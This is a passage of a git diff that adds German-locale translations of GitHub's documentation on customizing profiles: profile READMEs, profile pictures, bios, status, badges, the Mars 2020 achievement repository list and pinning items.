+- "[Veröffentlichen oder Ausblenden deiner privaten Beiträge auf deinem Profil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
+- [Anzeigen von Beiträge auf deinem Profil](/articles/viewing-contributions-on-your-profile)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md
new file mode 100644
index 0000000000..61c503f316
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/index.md
@@ -0,0 +1,28 @@
+---
+title: Ihr Profil anpassen
+intro: 'Du kannst Dein Profil anpassen, damit andere Benutzer sich ein besseres Bild von Deiner Person und Deiner Arbeit machen können.'
+redirect_from:
+  - /articles/customizing-your-profile
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+children:
+  - /about-your-profile
+  - /about-your-organizations-profile
+  - /personalizing-your-profile
+  - /managing-your-profile-readme
+  - /pinning-items-to-your-profile
+  - /setting-your-profile-to-private
+ms.openlocfilehash: 617625a9e51fa44f5f1e291b5c3828b1c403b5bc
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145105192'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md
new file mode 100644
index 0000000000..b7f02b36e0
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme.md
@@ -0,0 +1,77 @@
+---
+title: Managing your profile README
+intro: 'You can add a README to your {% data variables.product.prodname_dotcom %} profile to tell other people about yourself.'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Profiles
+redirect_from:
+  - /github/setting-up-and-managing-your-github-profile/managing-your-profile-readme
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/managing-your-profile-readme
+shortTitle: Your profile README
+---
+## About your profile README
+
+You can share information about yourself with the community on {% data variables.location.product_location %} by creating a profile README. {% data variables.product.prodname_dotcom %} shows your profile README at the top of your profile page.
+
+You decide what information to include in your profile README, so you have full control over how you present yourself on {% data variables.product.prodname_dotcom %}. Here are some examples of information that visitors may find interesting, fun, or useful in your profile README.
+
+- An "About me" section that describes your work and interests
+- Contributions you're proud of, and context about those contributions
+- Guidance for getting help in communities where you're involved
+
+![Profile README file displayed on profile](/assets/images/help/repository/profile-with-readme.png)
+
+You can format text and include emoji, images, and GIFs in your profile README by using {% data variables.product.company_short %} Flavored Markdown. For more information, see "[Getting started with writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/getting-started-with-writing-and-formatting-on-github)." For a hands-on guide to customizing your profile README, see "[Quickstart for writing on {% data variables.product.prodname_dotcom %}](/get-started/writing-on-github/getting-started-with-writing-and-formatting-on-github/quickstart-for-writing-on-github)."
+
+## Prerequisites
+
+GitHub will display your profile README on your profile page if all of the following are true.
+
+- You've created a repository with a name that matches your {% data variables.product.prodname_dotcom %} username.
+- The repository is public.
+- The repository contains a file named README.md in its root.
+- The README.md file contains any content.
+
+{% note %}
+
+**Note**: If you created a public repository with the same name as your username before July 2020, {% data variables.product.prodname_dotcom %} won't automatically show the repository's README on your profile. You can manually share the repository's README to your profile by going to the repository on {% data variables.product.prodname_dotcom_the_website %} and clicking **Share to profile**.
+
+![Button to share README to profile](/assets/images/help/repository/share-to-profile.png)
+
+{% endnote %}
+
+## Adding a profile README
+
+{% data reusables.repositories.create_new %}
+2. Under "Repository name", type a repository name that matches your {% data variables.product.prodname_dotcom %} username. For example, if your username is "octocat", the repository name must be "octocat".
+  ![Repository name field which matches username](/assets/images/help/repository/repo-username-match.png)
+3. Optionally, add a description of your repository. For example, "My personal repository."
+  ![Field for entering a repository description](/assets/images/help/repository/create-personal-repository-desc.png)
+4. Select **Public**.
+ ![Radio button to select visibility with public selected](/assets/images/help/repository/create-personal-repository-visibility.png)
+{% data reusables.repositories.initialize-with-readme %}
+{% data reusables.repositories.create-repo %}
+7. Above the right sidebar, click **Edit README**.
+  ![Button to edit README file](/assets/images/help/repository/personal-repository-edit-readme.png)
+  
+  The generated README file is pre-populated with a template to give you some inspiration for your profile README.
+  ![README file with pre-populated template](/assets/images/help/repository/personal-repository-readme-template.png)
+
+For a summary of all the available emojis and their codes, see "[Emoji cheat sheet](https://www.webfx.com/tools/emoji-cheat-sheet/)."
+
+## Removing a profile README
+
+The profile README is removed from your {% data variables.product.prodname_dotcom %} profile if any of the following apply:
+
+- The README file is empty or doesn't exist.
+- The repository is private.
+- The repository name no longer matches your username.
+
+The method you choose depends upon your needs, but if you're unsure, we recommend making your repository private. For steps on how to make your repository private, see "[Changing a repository's visibility](/github/administering-a-repository/setting-repository-visibility#changing-a-repositorys-visibility)."
+
+## Further reading
+
+- [About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
new file mode 100644
index 0000000000..2d9b69cef2
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
@@ -0,0 +1,273 @@
+---
+title: Personalizing your profile
+intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.'
+redirect_from:
+  - /articles/adding-a-bio-to-your-profile
+  - /articles/setting-your-profile-picture
+  - /articles/how-do-i-set-up-my-profile-picture
+  - /articles/gravatar-problems
+  - /articles/how-do-i-set-up-my-avatar
+  - /articles/personalizing-your-profile
+  - /github/setting-up-and-managing-your-github-profile/personalizing-your-profile
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Personalize
+---
+## Changing your profile picture
+
+Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs.
+
+When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you.
+
+{% note %}
+
+**Note{% ifversion ghec %}s{% endif %}**: {% ifversion ghec %}
+
+* {% endif %}Your profile picture should be a PNG, JPG, or GIF file, and it must be less than 1 MB in size and smaller than 3000 by 3000 pixels. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels.
+{% ifversion ghec %}* Gravatar profile pictures are not supported with {% data variables.product.prodname_emus %}.{% endif %}
+
+{% endnote %}
+
+### Setting a profile picture
+
+{% data reusables.user-settings.access_settings %}
+2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
+![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
+3. Click **Upload a photo...**.{% ifversion not ghae %}
+![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %}
+3. Crop your picture. When you're done, click **Set new profile picture**.
+	![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png)
+
+### Resetting your profile picture to the identicon
+
+{% data reusables.user-settings.access_settings %}
+2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
+![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
+3. To revert to your identicon, click **Remove photo**. {% ifversion not ghae %}If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead.
+![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png){% endif %}
+
+## Changing your profile name
+
+You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)."
+
+{% ifversion fpt or ghec %}
+{% note %}
+
+**Note:** If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
+
+{% endnote %}
+{% endif %}
+
+{% data reusables.user-settings.access_settings %}
+2. Under "Name", type the name you want to be displayed on your profile.
+  ![Name field in profile settings](/assets/images/help/profile/name-field.png)
+
+## Adding a bio to your profile
+
+Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink.
+
+{% ifversion fpt or ghes or ghec %}
+
+For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)."
+
+{% endif %}
+
+{% note %}
+
+**Note:**
+  If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+
+{% endnote %}
+
+{% data reusables.user-settings.access_settings %}
+2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters.
+	![Update bio on profile](/assets/images/help/profile/bio-field.png)
+
+  {% tip %}
+
+  **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you.
+
+  {% endtip %}
+
+{% data reusables.profile.update-profile %}
+
+{% ifversion profile-time-zone %}
+
+## Setting your location and time zone
+
+You can set a location and time zone on your profile to show other people your local time. Your location and time zone will be visible:
+- on your {% data variables.product.product_name %} profile page.
+- when people hover over your username or avatar on {% data variables.product.product_name %}.
+
+When you view your profile, you will see your location, local time, and your time zone in relation to Universal Time Coordinated.
+
+  ![Screenshot of the Octocat profile page emphasizing the location, local time, and time zone fields.](/assets/images/help/profile/profile-location-and-time.png)
+
+When others view your profile, they will see your location, local time, and the time difference in hours from their own local time.
+
+  ![Screenshot of the Octocat profile page emphasizing the location, local time, and relative time fields.](/assets/images/help/profile/profile-relative-time.png)
+
+{% data reusables.user-settings.access_settings %}
+1. Under **Location**, type the location you want to be displayed on your profile.
+
+  ![Screenshot of the location and local time settings emphasizing the location field.](/assets/images/help/profile/location-field.png)
+
+1. Optionally, to display the current local time on your profile, select **Display current local time**.
+
+  ![Screenshot of the location and local time settings emphasizing the display current local time checkbox.](/assets/images/help/profile/display-local-time-checkbox.png)
+
+   - Select the **Time zone** dropdown menu, then click your local time zone.
+
+     ![Screenshot of the location and local time settings emphasizing the time zone dropdown menu.](/assets/images/help/profile/time-zone-dropdown.png)
+   
+{% data reusables.profile.update-profile %}
+
+{% endif %}
+
+## Setting a status
+
+You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show:
+- on your {% data variables.product.product_name %} profile page.
+- when people hover over your username or avatar on {% data variables.product.product_name %}.
+- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)."
+- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)."
+
+When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}.
+
+![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png)
+
+![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png)
+
+If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
+
+1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set status** or, if you already have a status set, click your current status.
+  ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png)
+2. To add custom text to your status, click in the text field and type a status message.
+  ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png)
+3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list.
+  ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png)
+4. Optionally, if you'd like to share that you have limited availability, select "Busy."
+  ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png)
+5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status.
+  ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png)
+6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public.
+  ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png)
+7. Click **Set status**.
+  ![Button to set status](/assets/images/help/profile/set-status-button.png)
+
+{% ifversion fpt or ghec %}
+## Displaying badges on your profile
+
+When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile.
+
+| Badge | Program | Description |
+| --- | --- | --- |
+| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). |
+| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." |
+| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). |
+| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). |
+| {% octicon "shield" aria-label="The shield icon" %} | **Security advisory credit** | If a security advisory you submit to the [{% data variables.product.prodname_dotcom %} Advisory Database](https://github.com/advisories) is accepted, you'll get a Security advisory credit badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Security Advisories, see [{% data variables.product.prodname_dotcom %} Security Advisories](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories). |
+| {% octicon "check" aria-label="The check icon" %} | **Discussion answered** | If your reply to a discussion is marked as the answer, you'll get a Discussion answered badge on your profile. For more information about {% data variables.product.prodname_dotcom %} Discussions, see [About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions). |
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+
+## Earning Achievements
+
+Achievements celebrate specific events and actions that happen on {% data variables.product.prodname_dotcom %}. They will appear as small badges listed in the sidebar of your profile. Clicking or hovering on an achievement will show a detailed view that hints at how the achievement was earned, with a short description and links to the contributing events. The event links will only be visible to users that have access to the repository or organization that the event took place in. Event links will appear inaccessible to all users without access.
+
+To stop private contributions from counting toward your Achievements, or to turn off Achievements entirely, see "[Showing your private contributions and Achievements on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)."
+
+{% note %}
+
+**Note:** This feature is currently in beta and subject to change.
+
+{% endnote %}
+
+{% endif %}
+
+## List of qualifying repositories for Mars 2020 Helicopter Contributor achievement
+
+If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor achievement on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory.
+
+| {% data variables.product.prodname_dotcom %} Repository | Version | Tag |
+|---|---|---|
+| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) |
+| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) |
+| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) |
+| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) |
+| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) |
+| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) |
+| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) |
+| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) |
+| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) |
+| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) |
+| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) |
+| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) |
+| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) |
+| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) |
+| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) |
+| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) |
+| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) |
+| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) |
+| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) |
+| [yaml/pyyaml ](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) |
+| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) |
+| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) |
+| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) |
+| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) |
+| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) |
+| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) |
+| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) |
+| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) |
+| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) |
+| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) |
+| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) |
+| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) |
+| [pytest-dev/iniconfig](https://github.com/pytest-dev/iniconfig) | 1.0.0 | [v1.0.0](https://github.com/pytest-dev/iniconfig/releases/tag/v1.0.0) |
+| [pallets/itsdangerous](https://github.com/pallets/itsdangerous) | 1.1.0 | [1.1.0](https://github.com/pallets/itsdangerous/releases/tag/1.1.0) |
+| [pallets/jinja](https://github.com/pallets/jinja) | 2.10.3 | [2.10.3](https://github.com/pallets/jinja/releases/tag/2.10.3) |
+| [lxml/lxml](https://github.com/lxml/lxml) | 4.4.1 | [lxml-4.4.1](https://github.com/lxml/lxml/releases/tag/lxml-4.4.1) |
+| [Python-Markdown/markdown](https://github.com/Python-Markdown/markdown) | 3.1.1 | [3.1.1](https://github.com/Python-Markdown/markdown/releases/tag/3.1.1) |
+| [pallets/markupsafe](https://github.com/pallets/markupsafe) | 1.1.1 | [1.1.1](https://github.com/pallets/markupsafe/releases/tag/1.1.1) |
+| [pypa/packaging](https://github.com/pypa/packaging) | 19.2 | [19.2](https://github.com/pypa/packaging/releases/tag/19.2) |
+| [pexpect/pexpect](https://github.com/pexpect/pexpect) | 4.7.0 | [4.7.0](https://github.com/pexpect/pexpect/releases/tag/4.7.0) |
+| [pytest-dev/pluggy](https://github.com/pytest-dev/pluggy) | 0.13.0 | [0.13.0](https://github.com/pytest-dev/pluggy/releases/tag/0.13.0) |
+| [pexpect/ptyprocess](https://github.com/pexpect/ptyprocess) | 0.6.0 | [0.6.0](https://github.com/pexpect/ptyprocess/releases/tag/0.6.0) |
+| [pytest-dev/py](https://github.com/pytest-dev/py) | 1.8.0 | [1.8.0](https://github.com/pytest-dev/py/releases/tag/1.8.0) |
+| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.5 | [pyparsing_2.4.5](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.5) |
+| [pytest-dev/pytest](https://github.com/pytest-dev/pytest) | 5.3.0 | [5.3.0](https://github.com/pytest-dev/pytest/releases/tag/5.3.0) |
+| [stub42/pytz](https://github.com/stub42/pytz) | 2019.3 | [release_2019.3](https://github.com/stub42/pytz/releases/tag/release_2019.3) |
+| [uiri/toml](https://github.com/uiri/toml) | 0.10.0 | [0.10.0](https://github.com/uiri/toml/releases/tag/0.10.0) |
+| [pallets/werkzeug](https://github.com/pallets/werkzeug) | 0.16.0 | [0.16.0](https://github.com/pallets/werkzeug/releases/tag/0.16.0) |
+| [dmnfarrell/tkintertable](https://github.com/dmnfarrell/tkintertable) | 1.2 | [v1.2](https://github.com/dmnfarrell/tkintertable/releases/tag/v1.2) |
+| [wxWidgets/wxPython-Classic](https://github.com/wxWidgets/wxPython-Classic) | 2.9.1.1 | [wxPy-2.9.1.1](https://github.com/wxWidgets/wxPython-Classic/releases/tag/wxPy-2.9.1.1) |
+| [nasa/fprime](https://github.com/nasa/fprime) | 1.3 | [NASA-v1.3](https://github.com/nasa/fprime/releases/tag/NASA-v1.3) |
+| [nucleic/cppy](https://github.com/nucleic/cppy) | 1.1.0 | [1.1.0](https://github.com/nucleic/cppy/releases/tag/1.1.0) |
+| [opencv/opencv](https://github.com/opencv/opencv) | 4.5.1 | [4.5.1](https://github.com/opencv/opencv/releases/tag/4.5.1) |
+| [curl/curl](https://github.com/curl/curl) | 7.72.0 | [curl-7_72_0](https://github.com/curl/curl/releases/tag/curl-7_72_0) |
+| [madler/zlib](https://github.com/madler/zlib) | 1.2.11 | [v1.2.11](https://github.com/madler/zlib/releases/tag/v1.2.11) |
+| [apache/lucene](https://github.com/apache/lucene) | 7.7.3 | [releases/lucene-solr/7.7.3](https://github.com/apache/lucene/releases/tag/releases%2Flucene-solr%2F7.7.3) |
+| [yaml/libyaml](https://github.com/yaml/libyaml) | 0.2.5 | [0.2.5](https://github.com/yaml/libyaml/releases/tag/0.2.5) |
+| [elastic/elasticsearch](https://github.com/elastic/elasticsearch) | 6.8.1 | [v6.8.1](https://github.com/elastic/elasticsearch/releases/tag/v6.8.1) |
+| [twbs/bootstrap](https://github.com/twbs/bootstrap) | 4.3.1 | [v4.3.1](https://github.com/twbs/bootstrap/releases/tag/v4.3.1) |
+| [vuejs/vue](https://github.com/vuejs/vue) | 2.6.10 | [v2.6.10](https://github.com/vuejs/vue/releases/tag/v2.6.10) |
+| [carrotsearch/hppc](https://github.com/carrotsearch/hppc) | 0.7.1 | [0.7.1](https://github.com/carrotsearch/hppc/releases/tag/0.7.1) |
+| [JodaOrg/joda-time](https://github.com/JodaOrg/joda-time) | 2.10.1 | [v2.10.1](https://github.com/JodaOrg/joda-time/releases/tag/v2.10.1) |
+| [tdunning/t-digest](https://github.com/tdunning/t-digest) | 3.2 | [t-digest-3.2](https://github.com/tdunning/t-digest/releases/tag/t-digest-3.2) |
+| [HdrHistogram/HdrHistogram](https://github.com/HdrHistogram/HdrHistogram) | 2.1.9 | [HdrHistogram-2.1.9](https://github.com/HdrHistogram/HdrHistogram/releases/tag/HdrHistogram-2.1.9) |
+| [locationtech/spatial4j](https://github.com/locationtech/spatial4j) | 0.7 | [spatial4j-0.7](https://github.com/locationtech/spatial4j/releases/tag/spatial4j-0.7) |
+| [locationtech/jts](https://github.com/locationtech/jts) | 1.15.0 | [jts-1.15.0](https://github.com/locationtech/jts/releases/tag/jts-1.15.0) |
+| [apache/logging-log4j2](https://github.com/apache/logging-log4j2) | 2.11 | [log4j-2.11.0](https://github.com/apache/logging-log4j2/releases/tag/log4j-2.11.0) |
+
+## Further reading
+
+- "[About your profile](/articles/about-your-profile)"
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
new file mode 100644
index 0000000000..c37d9918f9
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile.md
@@ -0,0 +1,45 @@
+---
+title: Anheften von Elementen an dein Profil
+intro: 'Du kannst Gists und Repositorys an dein Profil anheften, damit andere Personen dein beste Arbeit schnell sehen können.'
+redirect_from:
+  - /articles/pinning-repositories-to-your-profile
+  - /articles/pinning-items-to-your-profile
+  - /github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile
+  - /github/setting-up-and-managing-your-github-profile/customizing-your-profile/pinning-items-to-your-profile
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghec: '*'
+topics:
+  - Profiles
+shortTitle: Pin items
+ms.openlocfilehash: 131bdb1ed57383e0b420308a96742a573dd9aa14
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145068967'
+---
+Du kannst ein öffentliches Repository anheften, wenn Dir das Repository gehört oder wenn du Beiträge zu dem Repository geleistet hast. Commits zu Forks zählen nicht als Beiträge. Daher kannst du Forks, die du nicht besitzt, auch nicht anheften. Weitere Informationen findest du unter [Warum werden meine Beiträge nicht auf meinem Profil angezeigt?](/articles/why-are-my-contributions-not-showing-up-on-my-profile)
+
+Du kannst alle öffentlichen Gists anheften, die du besitzt.
+
+Angeheftete Elemente enthalten wichtige Informationen über das Element, wie beispielsweise die Anzahl der Sterne, die ein Repository erhalten hat, oder die ersten Zeilen eines Gist. Wenn du Elemente an dein Profil angeheftet hast, ersetzt der Bereich „Pinned“ (Angeheftet) den Bereich „Popular repositories“ (Beliebte Repositorys) in deinem Profil.
+
+Du kannst die Elemente im Bereich „Pinned“ (Angeheftet) neu anordnen. Klicke in der rechten oberen Ecke eines angehefteten Elements auf {% octicon "grabber" aria-label="The grabber symbol" %}, und ziehe es an eine andere Stelle.
+
+{% data reusables.profile.access_profile %}
+2. Klicke im Bereich „Beliebte Repositorys“ oder „Angeheftet“ auf **Angeheftete Elemente anpassen**.
+    ![Schaltfläche zum Anpassen deiner angehefteten Elemente](/assets/images/help/profile/customize-pinned-repositories.png)
+3. Um eine durchsuchbare Liste mit anzuheftenden Elementen anzuzeigen, wähle „Repositories“ (Repositorys), „Gists“ (Gists) oder beides aus.
+    ![Kontrollkästchen zum Auswählen der Art der anzuzeigenden Elemente](/assets/images/help/profile/pinned-repo-picker.png)
